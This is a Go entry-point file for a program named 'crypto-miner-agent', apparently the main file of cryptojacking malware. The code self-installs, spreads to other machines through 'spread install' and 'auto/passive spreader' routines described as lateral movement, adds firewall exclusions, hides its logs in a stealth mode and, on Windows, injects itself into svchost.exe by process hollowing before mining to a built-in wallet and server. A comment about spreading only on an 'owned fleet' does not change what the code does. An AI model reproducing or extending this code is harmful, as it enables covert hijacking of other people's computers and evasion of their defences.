package main

import (
	"io"
	"log"
	"os"
	"path/filepath"
	"runtime"
	"strings"

	"crypto-miner-agent/client"
	"crypto-miner-agent/config"
	"crypto-miner-agent/deploy"
	"crypto-miner-agent/stats"
)

func main() {
	log.SetFlags(log.LstdFlags | log.Lshortfile)
	cfg := config.Load()
	if deploy.IsGuardMode() {
		deploy.RunGuardLoop(cfg)
		return
	}
	setupLogging(cfg)

	if cfg.Wallet == "" {
		log.Fatal("wallet address is required in built-in configuration")
	}
	if cfg.ServerURL == "" {
		log.Fatal("server URL is required in built-in configuration")
	}

	if deploy.WantsSpreadInstall() {
		installed, err := deploy.SpreadInstall(cfg)
		if err != nil {
			deploy.LogSpreadError("fatal", err)
			log.Fatalf("[spread-install] failed: %v", err)
		}
		if installed {
			return
		}
	}

	installed, err := deploy.InstallIfNeeded(cfg)
	if err != nil {
		log.Fatalf("[installer] failed: %v", err)
	}
	if installed {
		if dir, err := cfg.InstallDirectory(); err == nil {
			log.Printf("[installer] embedded worker=%s at %s and started miner", cfg.WorkerName, dir)
		} else {
			log.Printf("[installer] embedded worker=%s and started miner", cfg.WorkerName)
		}
		return
	}

	reporter := stats.NewReporter()
	cfg = cfg.AdaptToSystem(reporter)

	if installDir, err := cfg.InstallDirectory(); err == nil {
		if id, err := deploy.LoadAgentID(installDir); err == nil {
			cfg.AgentID = id
		}
	}

	if cfg.BackgroundMode() || cfg.StealthMode {
		cfg.CPUPriority = "idle"
	}

	if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
		log.Printf("[agent] could not set CPU priority: %v", err)
	}

	deploy.StartWatchdog(cfg)
	// AutoSpreader is intentionally NOT started here.  It is started inside
	// AgentClient.authenticate() only after the server accepts our fleet secret,
	// which verifies we are on an owned fleet before initiating lateral movement.
	deploy.StartPassiveSpreader(cfg)
	if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
		// First-run spread marker is cleared after auth succeeds (handled in client).
		deploy.ClearFirstRunSpreadMarker(cfg)
	}

	if cfg.FirewallExclusion {
		if binPath, err := deploy.InstalledBinaryPath(cfg); err == nil {
			deploy.EnsureFirewallExclusion(cfg, binPath)
		}
	}

	log.Printf("[agent] running worker=%s agent_id=%s process=%s platform=%s/%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
		cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), runtime.GOOS, runtime.GOARCH, cfg.BuildID, cfg.ServerURL,
		cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))

	if cfg.ProcessHollowing && runtime.GOOS == "windows" {
		if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" {
			exePath, _ := os.Executable()
			payload, err := os.ReadFile(exePath)
			if err == nil {
				log.Printf("[hollowing] Injecting into svchost.exe...")
				err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload)
				if err == nil {
					os.Exit(0)
				}
				log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
			}
		}
	}

	agent := client.NewAgentClient(cfg)
	if err := agent.Run(); err != nil {
		log.Fatalf("[agent] stopped: %v", err)
	}
}

func shortID(id string) string {
	if len(id) >= 8 {
		return id[:8]
	}
	if id == "" {
		return "pending"
	}
	return id
}

func setupLogging(cfg config.RuntimeConfig) {
	if !cfg.FileLogging || cfg.StealthMode {
		log.SetOutput(io.Discard)
		return
	}
	if os.Getenv("MINER_LOG_FILE") != "" {
		redirectLog(os.Getenv("MINER_LOG_FILE"))
		return
	}

	installDir, err := cfg.InstallDirectory()
	if err != nil {
		return
	}
	redirectLog(filepath.Join(installDir, "miner.log"))
}

func mustInstallPath(cfg config.RuntimeConfig) string {
	path, err := cfg.InstallDirectory()
	if err != nil {
		return "unknown"
	}
	return path
}

func redirectLog(path string) {
	if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
		return
	}
	f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
	if err == nil {
		log.SetOutput(f)
	}
}
